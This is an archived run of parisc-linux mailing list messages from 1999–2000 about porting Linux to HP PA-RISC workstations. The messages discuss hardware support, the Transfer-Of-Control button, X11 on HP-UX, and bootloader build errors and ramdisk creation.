	by gin.ext.thepuffingroup.com (8.9.3/8.9.3) id TAA29842;
	Sun, 26 Mar 2000 19:29:37 -0500
X-Mailer: Mutt 0.95.4us
In-Reply-To: <Pine.LNX.4.10.10003261604240.2215-100000@morph.net>; from Mike Brancato on Sun, Mar 26, 2000 at 04:10:17PM -0500
Xref: news.gmane.org gmane.linux.ports.parisc:7105

On Sun, Mar 26, 2000 at 04:10:17PM -0500, Mike Brancato wrote:
> I am trying to put Puffin on a 735/125 we have lying around.

erm.... you are aware we're not really ready for end users yet, right?
We don't have a compiler running natively yet (though we may not be too
far away now).  In fact, there's no userspace at all except for what
you compile yourself.

> Does anyone
> have a more step-by-step method of ho to put it on the machine?  I will
> get HPUX 10.20 or 11.0 (i think only 10.20 supports the 735?)

that's correct, 10.20 is the last supported HPUX on the 735.

> plus. does X compile well on pa-risc linux?  can you use the X that comes
> with HPUX in linux? i guess its not necessary to work, people will only be
> able to connect to it thru envizex x stations. 

we're about to start discussing X with HP.  stay tuned.


From - Thu Nov 08 21:12:17 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: willy@thepuffingroup.com
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] [Announce] 2.3.99pre1 merge complete
Date: Sun, 26 Mar 2000 20:51:09 -0500
Lines: 7
Approved: news@gmane.org
Message-ID: <20000326205109.F29700@thepuffingroup.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416618858 31717 80.91.229.3 (22 Nov 2014 01:14:18 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:14:18 +0000 (UTC)
To: parisc-linux@thepuffingroup.com
Original-X-From: willy@thepuffingroup.com  Sun Mar 26 17:51:11 2000
Original-Received: from mailserv2.iuinc.com (IDENT:qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.9.3/8.9.3) with SMTP id RAA02758
	for <parisc-linux@puffin.external.hp.com>; Sun, 26 Mar 2000 17:51:11 -0700
Original-Received: (qmail 11560 invoked by uid 15267); 27 Mar 2000 00:51:10 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 11545 invoked from network); 27 Mar 2000 00:51:10 -0000
Original-Received: from unknown (HELO gin.ext.thepuffingroup.com) (216.208.98.3)
  by mailserv2.iuinc.com with SMTP; 27 Mar 2000 00:51:10 -0000
Original-Received: (from willy@localhost)
	by gin.ext.thepuffingroup.com (8.9.3/8.9.3) id UAA30038
	for parisc-linux@thepuffingroup.com; Sun, 26 Mar 2000 20:51:09 -0500
X-Mailer: Mutt 0.95.4us
Xref: news.gmane.org gmane.linux.ports.parisc:7106


As those of you who are on the CVS commit list may already be aware,
we've merged the parisc tree up to Linus' 2.3.99pre1 release.  We've also
merged changes which use a modified assembler syntax.  If you cvs update
your kernel, you must also build new gcc and binutils.  It doesn't boot
yet, but it does link.


From - Thu Nov 08 21:12:17 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Gyula Matics" <gyula_matics@hp.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Any docs on the 715?
Date: Mon, 27 Mar 2000 09:29:26 +0200
Lines: 10
Approved: news@gmane.org
Message-ID: <023601bf97bf$1a0276a0$a94abc0f@hungary.hp.com>
References: <20000322215749.C10226@thepuffingroup.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
	charset="iso-8859-1"
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416618858 31721 80.91.229.3 (22 Nov 2014 01:14:18 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:14:18 +0000 (UTC)
To: <parisc-linux@thepuffingroup.com>
Original-X-From: gyula_matics@hp.com  Mon Mar 27 00:36:00 2000
Original-Received: from mailserv2.iuinc.com (IDENT:qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.9.3/8.9.3) with SMTP id AAA05329
	for <parisc-linux@puffin.external.hp.com>; Mon, 27 Mar 2000 00:35:59 -0700
Original-Received: (qmail 22152 invoked by uid 15267); 27 Mar 2000 07:35:55 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 22132 invoked from network); 27 Mar 2000 07:35:54 -0000
Original-Received: from atlrel2.hp.com (156.153.255.202)
  by mailserv2.iuinc.com with SMTP; 27 Mar 2000 07:35:54 -0000
Original-Received: from bimbo.hungary.hp.com (bimbo.hungary.hp.com [15.188.73.101])
	by atlrel2.hp.com (Postfix) with ESMTP id 207C58CE
	for <parisc-linux@thepuffingroup.com>; Mon, 27 Mar 2000 02:35:53 -0500 (EST)
Original-Received: from pcmatics ([15.127.193.61] (may be forged)) by bimbo.hungary.hp.com with SMTP (8.8.6 (PHNE_14041)/8.7.1) id JAA09812 for <parisc-linux@thepuffingroup.com>; Mon, 27 Mar 2000 09:35:49 +0200 (METDST)
X-Priority: 3
X-MSMail-Priority: Normal
X-Mailer: Microsoft Outlook Express 5.00.2919.6600
X-MimeOLE: Produced By Microsoft MimeOLE V5.00.2919.6600
Xref: news.gmane.org gmane.linux.ports.parisc:7107

> the 715/old scsi chip is an ncr53c700.  everyone is too scared of it
> right now.  the 715/new scsi chip is an ncr53c710 and Gyula Matics
> committed code that should have that working.

I'm back and i'll be hammering on the 710 driver till it starts
really working. The next targets are the c700 and the c720. probably
starting with the c700 as i now have a 715/50 at home.

Gyula


From - Thu Nov 08 21:12:17 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: davisg@Celestica.com
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Couple of questions
Date: Mon, 27 Mar 2000 09:43:28 -0500
Lines: 77
Approved: news@gmane.org
Message-ID: <852568AF.00513999.00@tormta3.tor.cel.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416618859 31724 80.91.229.3 (22 Nov 2014 01:14:19 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:14:19 +0000 (UTC)
Cc: Bas Valkema <b_valkema@hotmail.com>, parisc-linux@thepuffingroup.com
To: Philipp Rumpf <prumpf@puffin.external.hp.com>
Original-X-From: davisg@Celestica.com  Mon Mar 27 07:54:45 2000
Original-Received: from mailserv2.iuinc.com (IDENT:qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.9.3/8.9.3) with SMTP id HAA08866
	for <parisc-linux@puffin.external.hp.com>; Mon, 27 Mar 2000 07:54:44 -0700
Original-Received: (qmail 26775 invoked by uid 15267); 27 Mar 2000 14:54:37 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 26548 invoked from network); 27 Mar 2000 14:54:27 -0000
Original-Received: from glace.qu.ca.prserv.net (129.37.164.60)
  by mailserv2.iuinc.com with SMTP; 27 Mar 2000 14:54:27 -0000
Original-Received: from hivermuet.advantis.ca (hivermuet [198.74.66.3]) by glace.qu.ca.prserv.net (AIX4.3/UCB 8.8.8/8.8.8) with ESMTP id JAA128314; Mon, 27 Mar 2000 09:39:30 -0600
Original-Received: from Celestica.com ([32.69.41.45]) by hivermuet.advantis.ca (AIX4.3/UCB 8.8.8/8.8.8) with ESMTP id JAA16514; Mon, 27 Mar 2000 09:44:58 -0600
Original-Received: from tormta3.tor.cel.com (tormta3.tor.cel.com [32.69.41.171]) by Celestica.com (AIX4.2/UCB 8.7/8.7) with SMTP id JAA70022; Mon, 27 Mar 2000 09:52:56 -0500 (EST)
Original-Received: by tormta3.tor.cel.com(Lotus SMTP MTA v4.6.5  (863.2 5-20-1999))  id 852568AF.0051C1DA ; Mon, 27 Mar 2000 09:53:00 -0500
X-Lotus-FromDomain: CELESTICA
Content-Disposition: inline
Xref: news.gmane.org gmane.linux.ports.parisc:7108



Greetings,

Just a slight clarification on what TOC does. Although on the surface the
Transfer-Of-Control
button/switch merely appears to result in a system reset, its primary use is to
recover from
system hang conditions while preserving the machine state for later analysis,
i.e. where and
why was the sytem hung.

The TOC switch invokes the platform firmware PDCE_TOC entry point to save
machine state
to non-valitile storage (PIM TOC) after which the firmware checks MEM_TOC to
determine if
the operating system has identified an entry point to be called for recovery. If
an OS_TOC entry
point has been specified (by the OS), the platform firmware transfers control to
the specified
OS procedure. Typically, the OS_TOC entry point calls PDC_PIM to retrieve the
machine
state for display of a tomb stone marker, syncs/flushes all disk buffers,
performs a core dump
and then resets the system (not necessarily in the order specified here). One
could invoke a
debugger at any point in here to have a look around to see what was going on at
the time of
TOC.

The above information is all contained in the "PA-RISC x.x Firmware Architecture
Reference
Specification" documents available at
http://www.thepuffinegroup.com/parisc/documentation.html.

So, in summary, although TOC on the surface appears to merely 'reset' the
system, it is capable
of much more provided the OS specifies an OS_TOC entry point for recovery and
debug of
machine state at any point during system run time.


Regards,
Geoge G. Davis
Software Engineer,  Celestica Chelmsford Design Center
20 Alpha Road
Chelmsford, MA 01824





Philipp Rumpf <prumpf@puffin.external.hp.com> on 03/26/2000 01:02:15 PM

To:   Bas Valkema <b_valkema@hotmail.com>, parisc-linux@thepuffingroup.com
cc:    (bcc: George G Davis/CCH/Celestica)

Subject:  Re: [parisc-linux] Couple of questions



> 1 - how does a 715/50 boot over a network? Probably not bootp...

rboot.  there's an RPM for it on puffin.external.hp.com.

> 3 - What does the TOC button do????

Reset, usually.

---------------------------------------------------------------------------
To unsubscribe: send e-mail to parisc-linux-request@thepuffingroup.com with
`unsubscribe' as the subject.






From - Thu Nov 08 21:12:17 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Philipp Rumpf <prumpf@puffin.external.hp.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Couple of questions
Date: Mon, 27 Mar 2000 11:02:01 -0700
Lines: 19
Approved: news@gmane.org
Message-ID: <20000327110201.A10222@puffin.external.hp.com>
References: <852568AF.00513999.00@tormta3.tor.cel.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416618859 31728 80.91.229.3 (22 Nov 2014 01:14:19 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:14:19 +0000 (UTC)
Cc: Bas Valkema <b_valkema@hotmail.com>, parisc-linux@thepuffingroup.com
To: davisg@Celestica.com
Original-X-From: prumpf@puffin.external.hp.com  Mon Mar 27 11:04:16 2000
Original-Received: from mailserv2.iuinc.com (IDENT:qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.9.3/8.9.3) with SMTP id LAA11832
	for <parisc-linux@puffin.external.hp.com>; Mon, 27 Mar 2000 11:04:16 -0700
Original-Received: (qmail 12349 invoked by uid 15267); 27 Mar 2000 18:04:15 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 12340 invoked from network); 27 Mar 2000 18:04:14 -0000
Original-Received: from puffin.external.hp.com (root@192.25.206.4)
  by mailserv2.iuinc.com with SMTP; 27 Mar 2000 18:04:14 -0000
Original-Received: (from prumpf@localhost)
	by puffin.external.hp.com (8.9.3/8.9.3) id LAA11776;
	Mon, 27 Mar 2000 11:02:01 -0700
X-Mailer: Mutt 0.93.2
In-Reply-To: <852568AF.00513999.00@tormta3.tor.cel.com>; from davisg@Celestica.com on Mon, Mar 27, 2000 at 09:43:28AM -0500
Xref: news.gmane.org gmane.linux.ports.parisc:7109

> Just a slight clarification on what TOC does. Although on the surface the
> Transfer-Of-Control button/switch merely appears to result in a system
> reset, its primary use is to recover from system hang conditions while
> preserving the machine state for later analysis, i.e. where and why was
> the sytem hung.
> 
> So, in summary, although TOC on the surface appears to merely 'reset' the
> system, it is capable of much more provided the OS specifies an OS_TOC
> entry point for recovery and debug of machine state at any point during
> system run time.

Actually, that's exactly what reset does on (most) x86 boxes.  Remember
getting 286s out of protected mode by resetting them ?

I'm not convinced having customized TOC / HPMC handlers for Linux/PA-RISC
is a good idea yet.

	Philipp Rumpf


From - Thu Nov 08 21:12:17 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Jason Eckhardt <jason@equator.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [hppa-linux] Boot #4 and source on ftp site
Date: Mon, 15 Mar 1999 08:54:32 -0800 (PST)
Lines: 24
Approved: news@gmane.org
Message-ID: <199903151654.IAA21780@gatekeeper.equator.com>
NNTP-Posting-Host: plane.gmane.org
X-Trace: ger.gmane.org 1416618859 31729 80.91.229.3 (22 Nov 2014 01:14:19 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:14:19 +0000 (UTC)
Cc: jason@gatekeeper.equator.com
To: hppa-linux@thepuffingroup.com, kumar@ix.netcom.com
Original-X-From: jason@gatekeeper.equator.com  Mon Mar 15 11:54:45 1999
Original-Received: from mailserv2.iuinc.com (qmailr@mailserv2.iuinc.com [206.245.164.55])
	by sod.res.cmu.edu (8.8.7/8.8.7) with SMTP id LAA32695
	for <hppa-linux@sod.res.cmu.edu>; Mon, 15 Mar 1999 11:54:43 -0500
Original-Received: (qmail 26261 invoked by uid 15267); 15 Mar 1999 16:54:09 -0000
Delivered-To: thepuffi-hppa-linux@thepuffingroup.com
Original-Received: (qmail 26254 invoked from network); 15 Mar 1999 16:54:08 -0000
Original-Received: from gatekeeper.equator.com (jason@204.137.130.1)
  by mailserv2.iuinc.com with SMTP; 15 Mar 1999 16:54:08 -0000
Original-Received: (from jason@localhost)
	by gatekeeper.equator.com (8.9.1a/8.9.1) id IAA21780;
	Mon, 15 Mar 1999 08:54:32 -0800 (PST)
Xref: news.gmane.org gmane.linux.ports.parisc:7110


>
>
> Also I  forgot to see the boot_utils directory. 
>

 Be sure to peruse every word of the README. There is a lot of information
 in that file that is not included in the source files. It explains
 the boot process, the boot image layout, and other details.

> Any reasons you included libmilli.a in Makefile ? Since I was
> getting bad archive messages I took it out of Makefile. Does not seem
> to affect anything.
>

  I didn't include libmilli.a. Are you sure you have boot_rel_0.2.tar.gz, 
  the newest source code? If libmilli was added, somebody else did it. 
  It may be necessary to explicitly add libmilli when building with the cross
  tools, but I'm using HPUX and gcc 2.8.1 and the millicode is "automatically"
  linked in.
  Remember, boot_rel_0.2.tar.gz is the latest source and you should delete
  any previous source.
  Jason.


From - Thu Nov 08 21:12:17 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Steven Pritchard <steve@silug.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] some questions
Date: Mon, 27 Mar 2000 12:54:21 -0600 (CST)
Lines: 22
Approved: news@gmane.org
Message-ID: <200003271854.MAA20907@osiris.silug.org>
References: <20000326185256.A29700@thepuffingroup.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=US-ASCII
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416618860 31732 80.91.229.3 (22 Nov 2014 01:14:20 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:14:20 +0000 (UTC)
Cc: parisc-linux@thepuffingroup.com
To: willy@thepuffingroup.com
Original-X-From: steve@osiris.silug.org  Mon Mar 27 11:56:44 2000
Original-Received: from mailserv2.iuinc.com (IDENT:qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.9.3/8.9.3) with SMTP id LAA12569
	for <parisc-linux@puffin.external.hp.com>; Mon, 27 Mar 2000 11:56:44 -0700
Original-Received: (qmail 6621 invoked by uid 15267); 27 Mar 2000 18:56:43 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 6564 invoked from network); 27 Mar 2000 18:56:41 -0000
Original-Received: from pm3-isdn1-231.apci.net (HELO osiris.silug.org) (206.29.113.231)
  by mailserv2.iuinc.com with SMTP; 27 Mar 2000 18:56:41 -0000
Original-Received: (from steve@localhost)
	by osiris.silug.org (8.9.3/8.9.3) id MAA20907;
	Mon, 27 Mar 2000 12:54:21 -0600
In-Reply-To: <20000326185256.A29700@thepuffingroup.com> from "willy@thepuffingroup.com"
 at "Mar 26, 2000 06:52:56 pm"
X-Mailer: ELM [version 2.4ME+ PL72 (25)]
Xref: news.gmane.org gmane.linux.ports.parisc:7111

willy@thepuffingroup.com said:
> cool, I didn't know XFree had been ported to hpux 10.10.  In fact,
> I can't see any mention of it on the XFree site, so this intrigues me
> quite a lot.

X11R6.4 compiles on HP-UX (10.20, at least), right out of the box.  I
ran it on a 715 (or was that a 735?) for a while (for some reason that
I can't remember).  I seem to recall that I compiled the server from
the XFree 3.3.x sources once also.  (I really only wanted the XFree
xterm.)

Anyway, it works, but it doesn't have any of the fancy color-recovery
extensions that the "real" HP-UX X server comes with.  It probably
also won't work with anything but really old graphics hardware, but it
would be worth a try...

Steve
-- 
steve@silug.org           | Linux Users of Central Illinois
(618)398-7320             | Meetings the 4th Tuesday of every month
Steven Pritchard          | http://www.luci.org/ for more info


From - Thu Nov 08 21:12:17 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Mike Brancato <funnyguy@digitalsmackdown.net>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] build errors, recipe still not up to date?
Date: Mon, 27 Mar 2000 16:31:28 -0500 (EST)
Lines: 29
Approved: news@gmane.org
Message-ID: <Pine.LNX.4.10.10003271628390.18589-100000@morph.net>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII
X-Trace: ger.gmane.org 1416618860 31734 80.91.229.3 (22 Nov 2014 01:14:20 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:14:20 +0000 (UTC)
To: parisc-linux@thepuffingroup.com
Original-X-From: funnyguy@digitalsmackdown.net  Mon Mar 27 14:35:05 2000
Original-Received: from mailserv2.iuinc.com (IDENT:qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.9.3/8.9.3) with SMTP id OAA14401
	for <parisc-linux@puffin.external.hp.com>; Mon, 27 Mar 2000 14:35:04 -0700
Original-Received: (qmail 10284 invoked by uid 15267); 27 Mar 2000 21:35:03 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 10266 invoked from network); 27 Mar 2000 21:35:03 -0000
Original-Received: from unknown (HELO morph.net) (root@128.163.249.55)
  by mailserv2.iuinc.com with SMTP; 27 Mar 2000 21:35:03 -0000
Original-Received: from localhost (funnyguy@localhost)
	by morph.net (8.9.3/8.9.3) with ESMTP id QAA18739
	for <parisc-linux@thepuffingroup.com>; Mon, 27 Mar 2000 16:31:28 -0500
X-Authentication-Warning: morph.net: funnyguy owned process doing -bs
X-Sender: funnyguy@morph.net
Xref: news.gmane.org gmane.linux.ports.parisc:7112


I've been folowing the recipe step by step, yet i still get build
problems.  i'm working witht he march 26th 2.3.42 version, and everything
in the kernel is building fine, except the link at the end.

anyone know?  did i not get something?

mike

make[2]: Entering directory `/tmp/mabran3/palo/ipl'
echo "char *bld_info = \"`whoami`@`hostname` `date`\";" > build.c
hppa1.1-linux-gcc -I/tmp/mabran3/palo/../linux-2.3/include -I../lib -O2
-fwritable-strings -mdisable-fpregs -Wall -c -o build.o build.c
rm -f build.c
hppa1.1-linux-ld -N -Ttext 0x500000 -e '$START$' -o ipl crt0.o byteio.o
elf64.o        ipl.o         offset.o      som.o diskpart.o    ext2.o
lib.o         pdc_bootio.o  vsprintf.o elf32.o            fileio.o
load.o        pdc_cons.o build.o
/tmp/mabran3/palo/../linux-2.3/arch/parisc/lib/milli.o
rm -f build.o
make[2]: Leaving directory `/tmp/mabran3/palo/ipl'
./palo/palo -s -b ipl/ipl -k /tmp/mabran3/palo/../linux-2.3/vmlinux -r
/tmp/mabran3/palo/../linux-2.3/ramdisk.bin \
-c "0/vmlinux HOME=/ TERM=LINUX root=/dev/ram initrd=0/ramdisk" lifimage
palo version 0.8 mabran3@alpha Mon Mar 27 16:30:10 EST 2000
/tmp/mabran3/palo/../linux-2.3/ramdisk.bin: No such file or directory
make[1]: *** [lifimage-only] Error 2



From - Thu Nov 08 21:12:17 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Mike Brancato <funnyguy@digitalsmackdown.net>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] build errors, recipe still not up to date?
Date: Mon, 27 Mar 2000 17:07:03 -0500 (EST)
Lines: 49
Approved: news@gmane.org
Message-ID: <Pine.LNX.4.10.10003271704100.18835-100000@morph.net>
References: <Pine.LNX.4.10.10003271628390.18589-100000@morph.net>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII
X-Trace: ger.gmane.org 1416618860 31737 80.91.229.3 (22 Nov 2014 01:14:20 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:14:20 +0000 (UTC)
To: parisc-linux@thepuffingroup.com
Original-X-From: funnyguy@digitalsmackdown.net  Mon Mar 27 15:10:39 2000
Original-Received: from mailserv2.iuinc.com (IDENT:qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.9.3/8.9.3) with SMTP id PAA14827
	for <parisc-linux@puffin.external.hp.com>; Mon, 27 Mar 2000 15:10:39 -0700
Original-Received: (qmail 15959 invoked by uid 15267); 27 Mar 2000 22:10:38 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 15940 invoked from network); 27 Mar 2000 22:10:37 -0000
Original-Received: from unknown (HELO morph.net) (root@128.163.249.55)
  by mailserv2.iuinc.com with SMTP; 27 Mar 2000 22:10:37 -0000
Original-Received: from localhost (funnyguy@localhost)
	by morph.net (8.9.3/8.9.3) with ESMTP id RAA18840
	for <parisc-linux@thepuffingroup.com>; Mon, 27 Mar 2000 17:07:03 -0500
X-Authentication-Warning: morph.net: funnyguy owned process doing -bs
X-Sender: funnyguy@morph.net
In-Reply-To: <Pine.LNX.4.10.10003271628390.18589-100000@morph.net>
Xref: news.gmane.org gmane.linux.ports.parisc:7113

ok, I guess I forgot to ask my real question, how would I create the
ramdisk image?

also, say I want nfs, I have two hpux 11.0 machines I could mount from.
machine A has a raid array (/users/) attached to it, and machine B mounts
that same array in /users/ via nfs.  can i have the root for the parisc
linux in /opt/linuxroot/ or something, and have the parisc machine mount
that thru nfs?  i'm new to nfs.

mike


On Mon, 27 Mar 2000, Mike Brancato wrote:

> 
> I've been folowing the recipe step by step, yet i still get build
> problems.  i'm working witht he march 26th 2.3.42 version, and everything
> in the kernel is building fine, except the link at the end.
> 
> anyone know?  did i not get something?
> 
> mike
> 
> make[2]: Entering directory `/tmp/mabran3/palo/ipl'
> echo "char *bld_info = \"`whoami`@`hostname` `date`\";" > build.c
> hppa1.1-linux-gcc -I/tmp/mabran3/palo/../linux-2.3/include -I../lib -O2
> -fwritable-strings -mdisable-fpregs -Wall -c -o build.o build.c
> rm -f build.c
> hppa1.1-linux-ld -N -Ttext 0x500000 -e '$START$' -o ipl crt0.o byteio.o
> elf64.o        ipl.o         offset.o      som.o diskpart.o    ext2.o
> lib.o         pdc_bootio.o  vsprintf.o elf32.o            fileio.o
> load.o        pdc_cons.o build.o
> /tmp/mabran3/palo/../linux-2.3/arch/parisc/lib/milli.o
> rm -f build.o
> make[2]: Leaving directory `/tmp/mabran3/palo/ipl'
> ./palo/palo -s -b ipl/ipl -k /tmp/mabran3/palo/../linux-2.3/vmlinux -r
> /tmp/mabran3/palo/../linux-2.3/ramdisk.bin \
> -c "0/vmlinux HOME=/ TERM=LINUX root=/dev/ram initrd=0/ramdisk" lifimage
> palo version 0.8 mabran3@alpha Mon Mar 27 16:30:10 EST 2000
> /tmp/mabran3/palo/../linux-2.3/ramdisk.bin: No such file or directory
> make[1]: *** [lifimage-only] Error 2
> 
> 
> ---------------------------------------------------------------------------
> To unsubscribe: send e-mail to parisc-linux-request@thepuffingroup.com with
> `unsubscribe' as the subject.
> 
> 


From - Thu Nov 08 21:12:17 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: willy@thepuffingroup.com
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] build errors, recipe still not up to date?
Date: Mon, 27 Mar 2000 18:40:25 -0500
Lines: 17
Approved: news@gmane.org
Message-ID: <20000327184025.C31396@thepuffingroup.com>
References: <Pine.LNX.4.10.10003271628390.18589-100000@morph.net> <Pine.LNX.4.10.10003271704100.18835-100000@morph.net>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416618861 31739 80.91.229.3 (22 Nov 2014 01:14:21 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:14:21 +0000 (UTC)
Cc: parisc-linux@thepuffingroup.com
To: Mike Brancato <funnyguy@digitalsmackdown.net>
Original-X-From: willy@thepuffingroup.com  Mon Mar 27 15:40:33 2000
Original-Received: from mailserv2.iuinc.com (mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.9.3/8.9.3) with SMTP id PAA15174
	for <parisc-linux@puffin.external.hp.com>; Mon, 27 Mar 2000 15:40:33 -0700
Original-Received: (qmail 10549 invoked by uid 15267); 27 Mar 2000 22:40:32 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 10539 invoked from network); 27 Mar 2000 22:40:32 -0000
Original-Received: from unknown (HELO gin.ext.thepuffingroup.com) (216.208.98.3)
  by mailserv2.iuinc.com with SMTP; 27 Mar 2000 22:40:32 -0000
Original-Received: (from willy@localhost)
	by gin.ext.thepuffingroup.com (8.9.3/8.9.3) id SAA32722;
	Mon, 27 Mar 2000 18:40:25 -0500
X-Mailer: Mutt 0.95.4us
In-Reply-To: <Pine.LNX.4.10.10003271704100.18835-100000@morph.net>; from Mike Brancato on Mon, Mar 27, 2000 at 05:07:03PM -0500
Xref: news.gmane.org gmane.linux.ports.parisc:7114

On Mon, Mar 27, 2000 at 05:07:03PM -0500, Mike Brancato wrote:
> ok, I guess I forgot to ask my real question, how would I create the
> ramdisk image?

Easy: Download one from puffin.external.hp.com/pub/parisc/ramdisks/
Hard: create a non-sparse file, using dd.  create an ext2 filesystem on it.
Mount it via loopback.  copy whatever you want onto it.

> also, say I want nfs, I have two hpux 11.0 machines I could mount from.
> machine A has a raid array (/users/) attached to it, and machine B mounts
> that same array in /users/ via nfs.  can i have the root for the parisc
> linux in /opt/linuxroot/ or something, and have the parisc machine mount
> that thru nfs?  i'm new to nfs.

Linux NFS Root looks for /tftpboot/<ip-address> by default.  I think
there's a way to change it, but I forget how.


From - Thu Nov 08 21:12:17 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Corne Beerse <beerse@ats.nld.alcatel.nl>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Couple of questions
Date: Tue, 28 Mar 2000 11:20:39 +0200
Organization: Alcatel Telecom Nederland bv
Lines: 43
Approved: news@gmane.org
Message-ID: <38E07967.D33FED14@ats.nld.alcatel.nl>
References: <852568AF.00513999.00@tormta3.tor.cel.com> <20000327110201.A10222@puffin.external.hp.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416618861 31740 80.91.229.3 (22 Nov 2014 01:14:21 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:14:21 +0000 (UTC)
To: parisc-linux@thepuffingroup.com
Original-X-From: beerse@ats.nld.alcatel.nl  Tue Mar 28 02:27:38 2000
Original-Received: from mailserv2.iuinc.com (IDENT:qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.9.3/8.9.3) with SMTP id CAA20413
	for <parisc-linux@puffin.external.hp.com>; Tue, 28 Mar 2000 02:27:37 -0700
Original-Received: (qmail 15512 invoked by uid 15267); 28 Mar 2000 09:27:36 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 15502 invoked from network); 28 Mar 2000 09:27:35 -0000
Original-Received: from gate.alcatel.be (HELO btmplq.god.bel.alcatel.be) (195.207.101.3)
  by mailserv2.iuinc.com with SMTP; 28 Mar 2000 09:27:35 -0000
Original-Received: from proxy.ats.nld.alcatel.nl (proxy.ats.nld.alcatel.nl [138.203.176.252])
